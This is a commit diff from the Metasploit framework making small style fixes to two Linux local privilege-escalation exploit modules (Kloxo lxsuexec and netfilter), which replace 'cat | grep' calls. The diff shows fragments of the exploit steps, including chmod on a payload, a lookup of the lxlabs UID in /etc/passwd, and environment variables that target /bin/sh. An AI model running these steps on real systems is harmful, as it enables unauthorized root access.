Land rapid7#7372, useless use of cat fix

Obligatory: modules/exploits/linux/local/kloxo_lxsuexec.rb.

Author: wvu

modules/exploits/linux/local/kloxo_lxsuexec.rb

@@ -10,6 +10,8 @@
 
 class MetasploitModule < Msf::Exploit::Local
 
+  Rank = ExcellentRanking
+
   include Msf::Exploit::EXE
   include Msf::Post::File
   include Msf::Exploit::FileDropper
@@ -93,7 +95,7 @@ def exploit
     # Profit
     print_status("Exploiting...")
     cmd_exec("chmod +x #{payload_path}")
-    cmd_exec("LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3`")
+    cmd_exec("LXLABS=`grep lxlabs /etc/passwd | cut -d: -f3`")
     cmd_exec("export MUID=$LXLABS")
     cmd_exec("export GID=$LXLABS")
     cmd_exec("export TARGET=/bin/sh")

modules/exploits/linux/local/netfilter_priv_esc.rb

@@ -62,20 +62,20 @@ def initialize(info = {})
 
   def check
     def iptables_loaded?()
-      # user@ubuntu:~$ cat /proc/modules | grep ip_tables
+      # user@ubuntu:~$ grep ip_tables /proc/modules
       # ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
       # x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
       vprint_status('Checking if ip_tables is loaded in kernel')
       if target.name == "Ubuntu"
-        iptables = cmd_exec('cat /proc/modules | grep ip_tables')
+        iptables = read_file('/proc/modules')
         if iptables.include?('ip_tables')
           vprint_good('ip_tables.ko is loaded')
         else
           print_error('ip_tables.ko is not loaded.  root needs to run iptables -L or similar command')
         end
         return iptables.include?('ip_tables')
       elsif target.name == "Fedora"
-        iptables = cmd_exec('cat /proc/modules | grep iptable_raw')
+        iptables = read_file('/proc/modules')
         if iptables.include?('iptable_raw')
           vprint_good('iptable_raw is loaded')
         else